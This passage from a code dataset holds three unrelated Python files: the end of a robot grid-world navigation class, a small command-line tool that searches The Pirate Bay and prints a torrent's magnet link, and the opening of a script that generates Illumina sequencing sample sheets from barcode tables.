curY)\r\n\tdef get4Neighbors(self, id):\r\n\r\n\t\t(curX, curY) = id\r\n\r\n\t\t# If the current cell is an obstacle, return an empty list\r\n\t\tif self.cells[curX][curY].obstacle == True:\r\n\t\t\treturn []\r\n\r\n\t\tneighbors = [(curX - 1, curY), (curX, curY + 1), (curX + 1, curY), (curX, curY - 1)]\r\n\t\t# First, some filters\r\n\t\tneighbors = filter(self.inBounds, neighbors)\r\n\t\tneighbors = filter(self.passable, neighbors)\r\n\t\t# Then, return\r\n\t\treturn neighbors\r\n\r\n\r\n\t# Method to get the 8-neighbors of the current cell identified by (curX, curY)\r\n\tdef get8Neighbors(self, id):\r\n\r\n\t\t(curX, curY) = id\r\n\r\n\t\t# If the current cell is an obstacle, return an empty list\r\n\t\tif self.cells[curX][curY].obstacle == True:# or self.cells[curX][curY].occupied == True:\r\n\t\t\treturn []\r\n\r\n\t\tneighbors = [(curX - 1, curY), (curX - 1, curY + 1), (curX, curY + 1), (curX + 1, curY + 1), (curX + 1, curY), (curX + 1, curY - 1), (curX, curY - 1), (curX - 1, curY - 1)]\r\n\t\t# First, some filters\r\n\t\tneighbors = filter(self.inBounds, neighbors)\r\n\t\tneighbors = filter(self.passable, neighbors)\r\n\r\n\t\t# Then, return\r\n\t\treturn neighbors\r\n\r\n\r\n\t# Method to get the 8-neighbors of the current cell identified by (curX, curY)\r\n\tdef get8Neighbors2(self, id):\r\n\r\n\t\trobotLocs = []\r\n\t\tfor i in range(self.height):\r\n\t\t\tfor j in range(self.width):\r\n\t\t\t\tif self.cells[i][j].occupied == True:\r\n\t\t\t\t\trobotLocs.append((i, j))\r\n\r\n\t\t(curX, curY) = id\r\n\r\n\t\t# If the current cell is an obstacle, return an empty list\r\n\t\tif self.cells[curX][curY].obstacle == True:# or self.cells[curX][curY].occupied == True:\r\n\t\t\treturn []\r\n\r\n\t\tneighbors = [(curX - 1, curY), (curX - 1, curY + 1), (curX, curY + 1), (curX + 1, curY + 1), (curX + 1, curY), (curX + 1, curY - 1), (curX, curY - 1), (curX - 1, curY - 1)]\r\n\t\t# First, some filters\r\n\t\tneighbors = filter(self.inBounds, neighbors)\r\n\t\tneighbors = filter(self.passable, neighbors)\r\n\r\n\t\tneighbors = [item for item in neighbors if item not in robotLocs]\r\n\t\t# Then, return\r\n\t\treturn neighbors\r\n\r\n\r\n\tdef getcmd(self, nextX, nextY, curX, curY):\r\n\t\t# if self.cells[nextX][nextY].occupied == True:\t##\r\n\t\t\t# cmd = 8 \t\t\t\t\t\t\t\t\t##\r\n\t\tif curX == nextX and curY == nextY:\r\n\t\t\tcmd=8\r\n\t\telif curX == nextX - 1 and curY == nextY:\r\n\t\t\tcmd = 6\r\n\t\telif curX == nextX - 1 and curY == nextY - 1:\r\n\t\t\tcmd = 7\r\n\t\telif curX == nextX and curY == nextY - 1:\r\n\t\t\tcmd=0\r\n\t\telif curX == nextX + 1 and curY == nextY + 1:\r\n\t\t\tcmd = 3\r\n\t\telif curX == nextX + 1 and curY == nextY:\r\n\t\t\tcmd = 2\r\n\t\telif curX == nextX + 1 and curY == nextY - 1:\r\n\t\t\tcmd = 1\r\n\t\telif curX == nextX and curY == nextY + 1:\r\n\t\t\tcmd=4\r\n\t\telif curX == nextX - 1 and curY == nextY + 1:\r\n\t\t\tcmd = 5\r\n\t\t#print 'getting cmd'\r\n\t\treturn cmd\r\n\r\n\t# Method to compute the next location given a command\r\n\tdef getNextPos(self, curX, curY, command):\r\n\r\n\t\t# Variables to hold the next location\r\n\t\tnextX = 0\r\n\t\tnextY = 0\r\n\r\n\t\tif command == 0:\r\n\t\t\tif curY == self.width - 1:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY + 1\r\n\r\n\t\telif command == 1:\r\n\t\t\tif curY == self.width - 1 or curX == 0:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX - 1\r\n\t\t\t\tnextY = curY + 1\r\n\r\n\t\telif command == 2:\r\n\t\t\tif curX == 0:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX - 1\r\n\t\t\t\tnextY = curY\r\n\r\n\t\telif command == 3:\r\n\t\t\tif curY == 0 or curX == 0:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX - 1\r\n\t\t\t\tnextY = curY - 1\r\n\r\n\t\telif command == 4:\r\n\t\t\tif curY == 0:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY - 1\r\n\r\n\t\telif command == 5:\r\n\t\t\tif curY == 0 or curX == self.height - 1:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX + 1\r\n\t\t\t\tnextY = curY - 1\r\n\r\n\t\telif command == 6:\r\n\t\t\tif curX == self.height -1:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX + 1\r\n\t\t\t\tnextY = curY\r\n\r\n\t\tif command == 7:\r\n\t\t\tif curX == self.height - 1 or curY == self.width - 1:\r\n\t\t\t\tnextX = curX\r\n\t\t\t\tnextY = curY\r\n\t\t\telse:\r\n\t\t\t\tnextX = curX + 1\r\n\t\t\t\tnextY = curY + 1\r\n\r\n\t\tif command == 8:\r\n\t\t\tnextX = curX\r\n\t\t\tnextY = curY\r\n\r\n\t\t# if self.cells[nextX][nextY].occupied == True:\t##\r\n\t\t\t# nextX = curX\t\t\t\t\t\t\t\t##\r\n\t\t\t# nextY = curY\t\t\t\t\t\t\t\t##\r\n\r\n\r\n\t\treturn nextX, nextY\r\n\r\n\r\n\t# Method to check if a move is possible (i.e., if the new cell is already occupied or is an obstacle)\r\n\tdef checkCommand(self, curX, curY, command):\r\n\r\n\t\t# If we're not moving to a new cell, first compute the new position given the command\r\n\t\tif command != 8:\r\n\t\t\tnextX, nextY = self.getNextPos(curX, curY, command)\r\n\t\t\t# If the next location is out of bounds, getNextPos returns curX, curY\r\n\t\t\t# In that case, the command is impossible\r\n\t\t\tif nextX == curX and nextY == curY:\r\n\t\t\t\treturn False\r\n\t\t\t# In case the next position is possible, check if that position is an obstacle\r\n\t\t\tif self.cells[nextX][nextY].obstacle == True:\r\n\t\t\t\treturn False\r\n\t\t\t# Otherwise, the command is possible\r\n\r\n\t\t# In case of command 8, it is always possible, assuming the initial location was possible\r\n\t\treturn True\r\n","sub_path":"Python Simulator/Frontier Exploration/backup/1 (initial backup)/GridWorld.py","file_name":"GridWorld.py","file_ext":"py","file_size_in_byte":7098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"325366508","text":"#! /usr/bin/env python3\n\n\"\"\"pirate.py: Command line search for ThePirateBay.se\"\"\"\n\n__author__ = \"Carter Harwood\"\n__copyright__ = \"© 2014 WTFPL – Do What the Fuck You Want to Public License - wtfpl.net\"\n__credits__ = [\"\"]\n\n__license__ = \"\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Carter Harwood\"\n__email__ = \"carter.w.harwood@gmail.com\"\n__status__ = \"Development\"\n\nimport sys\nimport click\nfrom tpb import TPB\nfrom tpb import CATEGORIES, ORDERS\n\n@click.command()\n@click.option('--title', is_flag=True, help='print title')\n@click.option('--user', is_flag=True, help='print user')\n@click.option('--size', is_flag=True, help='print size')\n@click.option('--category', is_flag=True, help='print category')\n@click.option('--subcategory', is_flag=True, help='print subcategory')\n@click.option('--seeders', is_flag=True, help='print seeders/leechers')\n@click.option('--url', is_flag=True, help='print url')\n@click.option('--all', '-a', is_flag=True, help='print all info')\n@click.argument('search', nargs=-1)\n\n\ndef main(title, user, size, category, subcategory, seeders, url, all, search):\n if len(search) is 0:\n print('run with --help')\n\n else:\n t = TPB('https://thepiratebay.se') # create a TPB object with default domain\n\n search = t.search(' '.join(search), category=CATEGORIES.VIDEO)\n\n torrent = next((x for x in search.order(ORDERS.SEEDERS.DES).multipage()), None)\n\n if title | all:\n print('title: ' + torrent.title)\n\n if user | all:\n print('user: ' + torrent.user)\n\n if size | all:\n print('size: ' + torrent.size)\n\n if category | all:\n print('category: ' + torrent.category)\n\n if subcategory | all:\n print('subcategory: ' + torrent.sub_category)\n\n if url | all:\n print('url: ' + str(torrent.url))\n\n ### Return the magnet link to stdout\n sys.stdout.write(torrent.magnet_link)\n sys.stdout.flush()\n sys.exit(0)\n\nif __name__ == '__main__':\n main()\n","sub_path":"pirate.py","file_name":"pirate.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"630885234","text":"#!/usr/local/bin/anaconda3/bin/python3\n# Note: edit shebang line above as appropriate for your system\n# AUTH: Kirk Ehmsen\n# FILE: SampleSheet.py\n# DATE: 08/01/2019\n# DESC: This script accepts text to standard input, and returns a Sample Sheet file\n# compatible with Illumina sequencing platforms.\n# USAGE: ./SampleSheet.py or python3 SampleSheet.py\n# REPO: https://github.com/YamamotoLabUCSF/SampleSheet\n\n#############################################################################\n# Background notes:\n# ==============================================\n# This is SampleSheet.py v1.0\n# ==============================================\n# https://github.com/YamamotoLabUCSF/SampleSheet\n# v1.0/Committed 8-01-2019\n# ----------------------------------------------\n# For usage details, please refer to README file at GitHub location and to the following manuscript:\n# Ehmsen, Knuesel, Martinez, Asahina, Aridomi, Yamamoto (2021)\n# Please cite usage as:\n# SampleSheet.py\n# Ehmsen, Knuesel, Martinez, Asahina, Aridomi, Yamamoto (2021)\n\n# Operation notes:\n# ==============================================\n# This script accepts text to standard input, and returns a Sample Sheet file compatible with Illumina sequencing platforms.\n# Python3 is required. Installation of Python package \"PrettyTable\" is recommended (https://pypi.org/project/PrettyTable/, \"A simple Python library for easily displaying tabular data in a visually appealing ASCII table format\").\n# Note on PrettyTable: At the script outset, you will have an opportunity to display i7 and i5 barcode names and sequences at the console, in 96-well \"array\" format. This operation requires PrettyTable. This display can be bypassed if PrettyTable is not installed. We recommend creating a Python virtual environment with PrettyTable installed (see README.md file, \"System Setup\")\n# Note on index usage: In this script, i7 is designated for use in full plate format (each well is uniquely barcoded by a single i7 index), whereas i5 defines all wells of a specific plate (up to 96 wells in a single plate are barcoded by a common i5 index).\n# This script accommodates 96-well bar-coding.\n\n# Input notes:\n# ==============================================\n# You will be prompted for the following user-specific information:\n# * Absolute path to output directory and filename for Sample Sheet\n# * Investigator Name\n# * Project Name\n# * Single-end (SE) or Paired-end (PE) sequencing run? How many reads?\n# * List of sample:barcode relationships\n# Note on list of sample:barcode relationships: This is a list of plate names (prefixes to be assigned to samples\n# across a 96-well plate), i7 index range, and i5 index\n# For example: 'DG-1, 1-96, 5' on a single line of text would indicate plate name 'DG-1', range of i7 indices used to label individual wells in this 96-well plate (e.g., A01-H12), and i5 index used across all wells of this plate (e.g., A05).\n\n# Output notes:\n# ==============================================\n# In brief: Illumina Sample Sheets accommodate up to 10 column fields, but only 5 of these (fields 2, 5-8) are required for a sequencing run (indicated below). This script outputs only these 5 required column fields.\n# 10 Sample Sheet column fields:\n# Sample_ID,Sample_Name,Sample_Plate,Sample_Well,I7_Index_ID,index,I5_Index_ID,index2,Sample_Project,Description\n# Fields to customize:\n# field 2: Sample_Name\n# field 5: I7_Index_ID\n# field 6: I7 index sequence\n# field 7: I5_Index_ID\n# field 8: I5 index sequence\n#############################################################################\n\n#############################################################################\n# SCRIPT:\n\n# Import libraries, modules\n# Operating system interfaces\nimport os\n\n# Object-oriented filesystem paths\nfrom pathlib import Path\n\n# System-specific parameters and functions\nimport sys\n\n# Implementation of import\nimport importlib\nfrom importlib import util\n\n# Prettytable\nprettytable_loader = importlib.util.find_spec('prettytable')\nfound = prettytable_loader is not None\nif found is True:\n from prettytable import PrettyTable\nelse:\n pass\n\n# Time access and conversions, Basic data and time types\nimport time\nfrom datetime import datetime\n\n# Log start time\ninitialTime = datetime.now()\n\n# Define 3 lists and 4 dictionaries that this script will use to establish relationships between well_ID number (1-96) and well_ID label (A01-H12) [well_ID_list], between well_ID number (1-96) and index name (i5A01-i5H12 or i7A01-i7H12) [i5_well_IDs and i7_well_IDs], and between index name (i5A01-i5H12 or i7A01-i7H12) and index sequence (8-bp unique sequence) [i5Dict and i7Dict, i5_revcomp_Dict, i7_revcomp_Dict]:\n\nwell_ID_list = [\n('1','A01'),\n('2','A02'),\n('3','A03'),\n('4','A04'),\n('5','A05'),\n('6','A06'),\n('7','A07'),\n('8','A08'),\n('9','A09'),\n('10','A10'),\n('11','A11'),\n('12','A12'),\n('13','B01'),\n('14','B02'),\n('15','B03'),\n('16','B04'),\n('17','B05'),\n('18','B06'),\n('19','B07'),\n('20','B08'),\n('21','B09'),\n('22','B10'),\n('23','B11'),\n('24','B12'),\n('25','C01'),\n('26','C02'),\n('27','C03'),\n('28','C04'),\n('29','C05'),\n('30','C06'),\n('31','C07'),\n('32','C08'),\n('33','C09'),\n('34','C10'),\n('35','C11'),\n('36','C12'),\n('37','D01'),\n('38','D02'),\n('39','D03'),\n('40','D04'),\n('41','D05'),\n('42','D06'),\n('43','D07'),\n('44','D08'),\n('45','D09'),\n('46','D10'),\n('47','D11'),\n('48','D12'),\n('49','E01'),\n('50','E02'),\n('51','E03'),\n('52','E04'),\n('53','E05'),\n('54','E06'),\n('55','E07'),\n('56','E08'),\n('57','E09'),\n('58','E10'),\n('59','E11'),\n('60','E12'),\n('61','F01'),\n('62','F02'),\n('63','F03'),\n('64','F04'),\n('65','F05'),\n('66','F06'),\n('67','F07'),\n('68','F08'),\n('69','F09'),\n('70','F10'),\n('71','F11'),\n('72','F12'),\n('73','G01'),\n('74','G02'),\n('75','G03'),\n('76','G04'),\n('77','G05'),\n('78','G06'),\n('79','G07'),\n('80','G08'),\n('81','G09'),\n('82','G10'),\n('83','G11'),\n('84','G12'),\n('85','H01'),\n('86','H02'),\n('87','H03'),\n('88','H04'),\n('89','H05'),\n('90','H06'),\n('91','H07'),\n('92','H08'),\n('93','H09'),\n('94','H10'),\n('95','H11'),\n('96','H12')\n]\n\ni5_well_IDs = [\n('1','i5A01'),\n('2','i5A02'),\n('3','i5A03'),\n('4','i5A04'),\n('5','i5A05'),\n('6','i5A06'),\n('7','i5A07'),\n('8','i5A08'),\n('9','i5A09'),\n('10','i5A10'),\n('11','i5A11'),\n('12','i5A12'),\n('13','i5B01'),\n('14','i5B02'),\n('15','i5B03'),\n('16','i5B04'),\n('17','i5B05'),\n('18','i5B06'),\n('19','i5B07'),\n('20','i5B08'),\n('21','i5B09'),\n('22','i5B10'),\n('23','i5B11'),\n('24','i5B12'),\n('25','i5C01'),\n('26','i5C02'),\n('27','i5C03'),\n('28','i5C04'),\n('29','i5C05'),\n('30','i5C06'),\n('31','i5C07'),\n('32','i5C08'),\n('33','i5C09'),\n('34','i5C10'),\n('35','i5C11'),\n('36','i5C12'),\n('37','i5D01'),\n('38','i5D02'),\n('39','i5D03'),\n('40','i5D04'),\n('41','i5D05'),\n('42','i5D06'),\n('43','i5D07'),\n('44','i5D08'),\n('45','i5D09'),\n('46','i5D10'),\n('47','i5D11'),\n('48','i5D12'),\n('49','i5E01'),\n('50','i5E02'),\n('51','i5E03'),\n('52','i5E04'),\n('53','i5E05'),\n('54','i5E06'),\n('55','i5E07'),\n('56','i5E08'),\n('57','i5E09'),\n('58','i5E10'),\n('59','i5E11'),\n('60','i5E12'),\n('61','i5F01'),\n('62','i5F02'),\n('63','i5F03'),\n('64','i5F04'),\n('65','i5F05'),\n('66','i5F06'),\n('67','i5F07'),\n('68','i5F08'),\n('69','i5F09'),\n('70','i5F10'),\n('71','i5F11'),\n('72','i5F12'),\n('73','i5G01'),\n('74','i5G02'),\n('75','i5G03'),\n('76','i5G04'),\n('77','i5G05'),\n('78','i5G06'),\n('79','i5G07'),\n('80','i5G08'),\n('81','i5G09'),\n('82','i5G10'),\n('83','i5G11'),\n('84','i5G12'),\n('85','i5H01'),\n('86','i5H02'),\n('87','i5H03'),\n('88','i5H04'),\n('89','i5H05'),\n('90','i5H06'),\n('91','i5H07'),\n('92','i5H08'),\n('93','i5H09'),\n('94','i5H10'),\n('95','i5H11'),\n('96','i5H12')\n]\n\ni7_well_IDs = [\n('1','i7A01'),\n('2','i7A02'),\n('3','i7A03'),\n('4','i7A04'),\n('5','i7A05'),\n('6','i7A06'),\n('7','i7A07'),\n('8','i7A08'),\n('9','i7A09'),\n('10','i7A10'),\n('11','i7A11'),\n('12','i7A12'),\n('13','i7B01'),\n('14','i7B02'),\n('15','i7B03'),\n('16','i7B04'),\n('17','i7B05'),\n('18','i7B06'),\n('19','i7B07'),\n('20','i7B08'),\n('21','i7B09'),\n('22','i7B10'),\n('23','i7B11'),\n('24','i7B12'),\n('25','i7C01'),\n('26','i7C02'),\n('27','i7C03'),\n('28','i7C04'),\n('29','i7C05'),\n('30','i7C06'),\n('31','i7C07'),\n('32','i7C08'),\n('33','i7C09'),\n('34','i7C10'),\n('35','i7C11'),\n('36','i7C12'),\n('37','i7D01'),\n('38','i7D02'),\n('39','i7D03'),\n('40','i7D04'),\n('41','i7D05'),\n('42','i7D06'),\n('43','i7D07'),\n('44','i7D08'),\n('45','i7D09'),\n('46','i7D10'),\n('47','i7D11'),\n('48','i7D12'),\n('49','i7E01'),\n('50','i7E02'),\n('51','i7E03'),\n('52','i7E04'),\n('53','i7E05'),\n('54','i7E06'),\n('55','i7E07'),\n('56','i7E08'),\n('57','i7E09'),\n('58','i7E10'),\n('59','i7E11'),\n('60','i7E12'),\n('61','i7F01'),\n('62','i7F02'),\n('63','i7F03'),\n('64','i7F04'),\n('65','i7F05'),\n('66','i7F06'),\n('67','i7F07'),\n('68','i7F08'),\n('69','i7F09'),\n('70','i7F10'),\n('71','i7F11'),\n('72','i7F12'),\n('73','i7G01'),\n('74','i7G02'),\n('75','i7G03'),\n('76','i7G04'),\n('77','i7G05'),\n('78','i7G06'),\n('79','i7G07'),\n('80','i7G08'),\n('81','i7G09'),\n('82','i7G10'),\n('83','i7G11'),\n('84','i7G12'),\n('85','i7H01'),\n('86','i7H02'),\n('87','i7H03'),\n('88','i7H04'),\n('89','i7H05'),\n('90','i7H06'),\n('91','i7H07'),\n('92','i7H08'),\n('93','i7H09'),\n('94','i7H10'),\n('95','i7H11'),\n('96','i7H12')\n]\n\ni5revcomp_Dict = {\n'i5A01':'CTCCATCA',\n'i5A02':'CGAATTGA',\n'i5A03':'CGTTAAGA',\n'i5A04':'AGGAGTGA',\n'i5A05':'TCAATCGA',\n'i5A06':'AGTACCGA',\n'i5A07':'TCGGATTA',\n'i5A08':'TTGTGAGA',\n'i5A09':'TCTCGAGA',\n'i5A10':'CCGGTATA',\n'i5A11':'ATCTTGCA',\n'i5A12':'CCAACTTA',\n'i5B01':'CTAGGATA',\n'i5B02':'ACCAGAGA',\n'i5B03':'AGGTCAGA',\n'i5B04':'ATCGCATA',\n'i5B05':'CGCTAGTA',\n'i5B06':'TCGATGTA',\n'i5B07':'TGAGTAGA',\n'i5B08':'AACGCTCA',\n'i5B09':'TTCGCTGA',\n'i5B10':'ACGTGCTA',\n'i5B11':'ATACGCCA',\n'i5B12':'AGCAGCTA',\n'i5C01':'TGTGAACA',\n'i5C02':'ATGCCGTA',\n'i5C03':'AGAGCACA',\n'i5C04':'CGTCTACA',\n'i5C05':'AGGCAACA',\n'i5C06':'AAGCGTCA',\n'i5C07':'CCTTATCA',\n'i5C08':'CGTTGTTA',\n'i5C09':'TGACGCTA',\n'i5C10':'ACTCATGA',\n'i5C11':'TGTGCTTA',\n'i5C12':'CACCGTTA',\n'i5D01':'CAGTAGGA',\n'i5D02':'TGGCATGA',\n'i5D03':'CATGATGA',\n'i5D04':'ATCCAGGA',\n'i5D05':'CAATGACA',\n'i5D06':'CGGAATCA',\n'i5D07':'TTGGTACA',\n'i5D08':'CTACTGTA',\n'i5D09':'TCTTCTGA',\n'i5D10':'AGTTCGTA',\n'i5D11':'ACCTACGA',\n'i5D12':'TGAACGGA',\n'i5E01':'CAACACTA',\n'i5E02':'ATAGAGCA',\n'i5E03':'ACATTCCA',\n'i5E04':'TGCAACCA',\n'i5E05':'TCCTCCTA',\n'i5E06':'CTCGTCTA',\n'i5E07':'AGAGATGA',\n'i5E08':'CCTAAGTA',\n'i5E09':'CTGGAAGA',\n'i5E10':'TGCCAATA',\n'i5E11':'TCTACGCA',\n'i5E12':'ACTGTGGA',\n'i5F01':'TGATTGCA',\n'i5F02':'CTTACGGA',\n'i5F03':'CACATGCA',\n'i5F04':'TTCAGTCA',\n'i5F05':'AAGGACCA',\n'i5F06':'TGGTGGTA',\n'i5F07':'CTCAGGTA',\n'i5F08':'TCGAGACA',\n'i5F09':'CCAGAACA',\n'i5F10':'TTACACGA',\n'i5F11':'CAGACCTA',\n'i5F12':'CGCATATA',\n'i5G01':'ACTGACTA',\n'i5G02':'ACAGGTCA',\n'i5G03':'AACACGGA',\n'i5G04':'TGTCTGGA',\n'i5G05':'CTAGTTCA',\n'i5G06':'CTATCCTA',\n'i5G07':'CATCAGCA',\n'i5G08':'AGTGGATA',\n'i5G09':'TCACCATA',\n'i5G10':'CGATCTCA',\n'i5G11':'AATTGCGA',\n'i5G12':'AGTCCTCA',\n'i5H01':'TTGACCGA',\n'i5H02':'ATGTCTCA',\n'i5H03':'AACGTAGA',\n'i5H04':'CTTGCACA',\n'i5H05':'TTCATGGA',\n'i5H06':'CCATGGTA',\n'i5H07':'TTAGCGTA',\n'i5H08':'CCATTAGA',\n'i5H09':'CTAAGCGA',\n'i5H10':'TCGTAGCA',\n'i5H11':'CAAGTGGA',\n'i5H12':'TCCGTTCA'\n}\n\ni5Dict = {\n'i5A01':'GAGGTAGT',\n'i5A02':'GCTTAACT',\n'i5A03':'GCAATTCT',\n'i5A04':'TCCTCACT',\n'i5A05':'AGTTAGCT',\n'i5A06':'TCATGGCT',\n'i5A07':'AGCCTAAT',\n'i5A08':'AACACTCT',\n'i5A09':'AGAGCTCT',\n'i5A10':'GGCCATAT',\n'i5A11':'TAGAACGT',\n'i5A12':'GGTTGAAT',\n'i5B01':'GATCCTAT',\n'i5B02':'TGGTCTCT',\n'i5B03':'TCCAGTCT',\n'i5B04':'TAGCGTAT',\n'i5B05':'GCGATCAT',\n'i5B06':'AGCTACAT',\n'i5B07':'ACTCATCT',\n'i5B08':'TTGCGAGT',\n'i5B09':'AAGCGACT',\n'i5B10':'TGCACGAT',\n'i5B11':'TATGCGGT',\n'i5B12':'TCGTCGAT',\n'i5C01':'ACACTTGT',\n'i5C02':'TACGGCAT',\n'i5C03':'TCTCGTGT',\n'i5C04':'GCAGATGT',\n'i5C05':'TCCGTTGT',\n'i5C06':'TTCGCAGT',\n'i5C07':'GGAATAGT',\n'i5C08':'GCAACAAT',\n'i5C09':'ACTGCGAT',\n'i5C10':'TGAGTACT',\n'i5C11':'ACACGAAT',\n'i5C12':'GTGGCAAT',\n'i5D01':'GTCATCCT',\n'i5D02':'ACCGTACT',\n'i5D03':'GTACTACT',\n'i5D04':'TAGGTCCT',\n'i5D05':'GTTACTGT',\n'i5D06':'GCCTTAGT',\n'i5D07':'AACCATGT',\n'i5D08':'GATGACAT',\n'i5D09':'AGAAGACT',\n'i5D10':'TCAAGCAT',\n'i5D11':'TGGATGCT',\n'i5D12':'ACTTGCCT',\n'i5E01':'GTTGTGAT',\n'i5E02':'TATCTCGT',\n'i5E03':'TGTAAGGT',\n'i5E04':'ACGTTGGT',\n'i5E05':'AGGAGGAT',\n'i5E06':'GAGCAGAT',\n'i5E07':'TCTCTACT',\n'i5E08':'GGATTCAT',\n'i5E09':'GACCTTCT',\n'i5E10':'ACGGTTAT',\n'i5E11':'AGATGCGT',\n'i5E12':'TGACACCT',\n'i5F01':'ACTAACGT',\n'i5F02':'GAATGCCT',\n'i5F03':'GTGTACGT',\n'i5F04':'AAGTCAGT',\n'i5F05':'TTCCTGGT',\n'i5F06':'ACCACCAT',\n'i5F07':'GAGTCCAT',\n'i5F08':'AGCTCTGT',\n'i5F09':'GGTCTTGT',\n'i5F10':'AATGTGCT',\n'i5F11':'GTCTGGAT',\n'i5F12':'GCGTATAT',\n'i5G01':'TGACTGAT',\n'i5G02':'TGTCCAGT',\n'i5G03':'TTGTGCCT',\n'i5G04':'ACAGACCT',\n'i5G05':'GATCAAGT',\n'i5G06':'GATAGGAT',\n'i5G07':'GTAGTCGT',\n'i5G08':'TCACCTAT',\n'i5G09':'AGTGGTAT',\n'i5G10':'GCTAGAGT',\n'i5G11':'TTAACGCT',\n'i5G12':'TCAGGAGT',\n'i5H01':'AACTGGCT',\n'i5H02':'TACAGAGT',\n'i5H03':'TTGCATCT',\n'i5H04':'GAACGTGT',\n'i5H05':'AAGTACCT',\n'i5H06':'GGTACCAT',\n'i5H07':'AATCGCAT',\n'i5H08':'GGTAATCT',\n'i5H09':'GATTCGCT',\n'i5H10':'AGCATCGT',\n'i5H11':'GTTCACCT',\n'i5H12':'AGGCAAGT'\n}\n\ni7revcomp_Dict = {\n'i7A01':'GTACGTCA',\n'i7A02':'TGCAGTTA',\n'i7A03':'ACTGTGGA',\n'i7A04':'GGTTAAGA',\n'i7A05':'TCACACTA',\n'i7A06':'TAGAGGTA',\n'i7A07':'GCGACATA',\n'i7A08':'TACATGCA',\n'i7A09':'GATGATGA',\n'i7A10':'TGTGTGCA',\n'i7A11':'TCGCTACA',\n'i7A12':'AAGCTAGA',\n'i7B01':'TAGGACCA',\n'i7B02':'TCGTTGGA',\n'i7B03':'GTGTCCTA',\n'i7B04':'TCCGTATA',\n'i7B05':'TACGCTTA',\n'i7B06':'TACAACGA',\n'i7B07':'GAAGGAGA',\n'i7B08':'AAGCATCA',\n'i7B09':'TGAGATCA',\n'i7B10':'TCTAGACA',\n'i7B11':'TGCTCATA',\n'i7B12':'TAACTCCA',\n'i7C01':'GACACACA',\n'i7C02':'TTGTAGCA',\n'i7C03':'GTCTACGA',\n'i7C04':'GCATTACA',\n'i7C05':'GTTCCATA',\n'i7C06':'GAATACCA',\n'i7C07':'TCACTTGA',\n'i7C08':'ACACAAGA',\n'i7C09':'ACTACAGA',\n'i7C10':'TCTCAGGA',\n'i7C11':'ATCGTGCA',\n'i7C12':'TCCACGTA',\n'i7D01':'ATCCATGA',\n'i7D02':'TTCGCAGA',\n'i7D03':'TCGTCTCA',\n'i7D04':'ACTTACGA',\n'i7D05':'TCGGATTA',\n'i7D06':'TTGGTCTA',\n'i7D07':'ATAGCGGA',\n'i7D08':'TGTAACCA',\n'i7D09':'ACAGGCTA',\n'i7D10':'AAGTCGCA',\n'i7D11':'GAGTTCGA',\n'i7D12':'ACTCTTCA',\n'i7E01':'AAGACCTA',\n'i7E02':'ACCATCCA',\n'i7E03':'GAACGGTA',\n'i7E04':'TAGTGAGA',\n'i7E05':'GTCCAACA',\n'i7E06':'TATGGCGA',\n'i7E07':'GCTTATCA',\n'i7E08':'GTGACTGA',\n'i7E09':'ACGTGATA',\n'i7E10':'GGTTCTTA',\n'i7E11':'GATCAGCA',\n'i7E12':'GGACAATA',\n'i7F01':'AACTCTGA',\n'i7F02':'TGACCTTA',\n'i7F03':'GGAAGTGA',\n'i7F04':'AAGAAGGA',\n'i7F05':'GCAATCTA',\n'i7F06':'ACGAGTCA',\n'i7F07':'TTATGCCA',\n'i7F08':'GCCATAGA',\n'i7F09':'TAATCGGA',\n'i7F10':'TCTCGTTA',\n'i7F11':'GGTCTGTA',\n'i7F12':'ATCCGGTA',\n'i7G01':'ATGCGACA',\n'i7G02':'TGAACGCA',\n'i7G03':'TGGTATGA',\n'i7G04':'TGGACAGA',\n'i7G05':'TTGCAAGA',\n'i7G06':'ACTAGGTA',\n'i7G07':'TACCGATA',\n'i7G08':'ATTGGTGA',\n'i7G09':'TTCCTCGA',\n'i7G10':'TCATGGTA',\n'i7G11':'TATCCACA',\n'i7G12':'GACTTGTA',\n'i7H01':'ATGGAGTA',\n'i7H02':'GTCAGATA',\n'i7H03':'GAGCACTA',\n'i7H04':'GTCATTCA',\n'i7H05':'TCCTAAGA',\n'i7H06':'GATGCGTA',\n'i7H07':'TGCTTCCA',\n'i7H08':'ATGTCAGA',\n'i7H09':'GTTGCTCA',\n'i7H10':'GATATCCA',\n'i7H11':'GTTAGCGA',\n'i7H12':'GAGGTACA'\n}\n\ni7Dict = 